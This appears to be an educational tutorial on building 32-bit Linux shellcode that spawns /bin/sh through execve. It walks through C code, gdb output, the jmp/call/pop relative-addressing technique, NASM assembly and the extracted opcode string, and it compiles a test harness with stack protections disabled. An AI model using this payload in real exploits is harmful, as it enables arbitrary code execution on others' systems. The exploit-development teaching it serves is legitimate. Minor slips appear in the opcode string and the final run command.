Spawning a Shell
The easiest and quickest way to create a shell is to create a new process.
There are two ways to do this in Linux:
- Creating a process that will replace the parent process using
execve()
. - Creating a copy of the parent process using
fork()
andexecve()
.
Here's ./spawnshell.c
of using the former:
#include <stdio.h>
int main()
{
char *happy[2];
happy[0] = "/bin/sh";
happy[1] = NULL;
execve(happy[0], happy, NULL);
}
To make this injectable, we need to translate it into opcodes. We need to use -static
flag with gcc
to prevent dynamic linking.
gcc -o spawnshell -fno-stack-protector -m32 -ggdb -static spawnshell.c
./spawnshell
$ whoami
kobbi
Review of execve
System Call
If we look at the signature of the execve
method using its man
page, we can see that it expects 3 arguments:
int execve(const char *pathname, char *const argv[], char *const envp[]);
- The first argument is a pointer to the name/path of the interpreter (
sh
in our case). - The second argument is a pointer to an array of arguments passed to the interpreter.
- The third is a pointer to an array of environmental variable key-value pairs.
To use this syscall, we need to pass data to 4 registers.
EAX
will hold the syscall number for execve
which is decimal 11 or 0x0b
(see Linux System Call Table). The rest of the registers (EBX
, ECX
, EDX
) will hold the arguments.
We can see the assembly instructions here:
(gdb) disas execve
Dump of assembler code for function execve:
0x0806dee0 <+0>: endbr32
0x0806dee4 <+4>: push %ebx
0x0806dee5 <+5>: mov 0x10(%esp),%edx
0x0806dee9 <+9>: mov 0xc(%esp),%ecx
0x0806deed <+13>: mov 0x8(%esp),%ebx
=> 0x0806def1 <+17>: mov $0xb,%eax
0x0806def6 <+22>: call *%gs:0x10
0x0806defd <+29>: pop %ebx
0x0806defe <+30>: cmp $0xfffff001,%eax
0x0806df03 <+35>: jae 0x8073510 <__syscall_error>
0x0806df09 <+41>: ret
End of assembler dump.
(gdb) i r
eax 0xb 11
ecx 0xffffcc74 -13196
edx 0x0 0
ebx 0x80b4008 134955016
esp 0xffffcc58 0xffffcc58
ebp 0xffffcc88 0xffffcc88
eip 0x806def6 0x806def6 <execve+22>
(gdb) x/s $ebx
0x80b4008: "/bin/sh"
As expected, we see that:
EAX
holds0xb
which is syscall 11.EBX
holds the first argument toexecve()
, the interpreter path/bin/sh
.ECX
holds the address to the argument array.EDX
holds the address ofNULL
.
However, since ECX
and EDX
hold hardcoded addresses, the shellcode would break if we use them in different systems.
To get around this problem, we use relative addressing.
Relative Addressing
The classical way to use relative addressing involves placing the beginning address of the shellcode into a register.
To do this, we start the shellcode off with a jmp
instruction to the call
instruction. When the call
instruction is executed, the address of the instructions immediately following the call
instruction is pushed onto the stack. We need to place whatever we want to use as the base relative address directly following the call
instruction. Since we want our shellcode to be executed, we will have the call
instruction call the instruction immediately following the initial jmp
.
The last step is to add the pop esi
instruction right after the first jmp
instruction. This will allow us to reference different bytes in our shellcode by using the distance/offset from esi
.
Here is some pseudo-code to illustrate how it would look:
jmp short GotoCall
shellcode:
pop esi
...
<shellcode>
...
GotoCall:
call shellcode
db '/bin/sh' ; define byte sets aside space in memory for a string
See the full assembly code execve.asm
:
Section .text
global _start
_start:
jmp GotoCall
shellcode:
pop esi
xor eax, eax ; set eax to null
mov byte [esi + 7], al ; terminate /bin/sh with null, overwriting J
lea ebx, [esi] ; copy address of beginning of /bin/sh to ebx
mov long [esi + 8], ebx ; copy address of beginning of /bin/sh over AAAA
mov long [esi + 12], eax ; copy nulls over KKKK
mov byte al, 0x0b ; copy syscall
mov ebx, esi ; copy address of /bin/sh into ebx
lea ecx, [esi + 8] ; copy pointer to /bin/sh into ecx
lea edx, [esi + 12] ; copy pointer to null into edx
int 0x80 ; call interrupt
GotoCall:
call shellcode
db '/bin/shJAAAAKKKK' ; JAAAAKKKK are placeholders used for reference. will be overwritten
Compile it using:
nasm -f elf -o execve.o -g execve.asm
ld -m elf_i386 -s -o execve execve.o
We can then get the opcodes:
objdump -d execve | cut -f2 | awk "NR > 7" | xargs | sed 's/ /\\x/g'
eb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b
Compile and run:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
main(int argc, char *argv[])
{
char *newargv[] = { NULL, "hello", "world", NULL };
char *newenviron[] = { NULL };
if (argc != 2) {
fprintf(stderr, "Usage: %s <file-to-exec>\n", argv[0]);
exit(EXIT_FAILURE);
}
newargv[0] = argv[1];
execve(argv[1], newargv, newenviron);
perror("execve"); /* execve() returns only on error */
exit(EXIT_FAILURE);
}
gcc -fno-stack-protector -z execstack -o execve_run -ggdb execve.c
./execve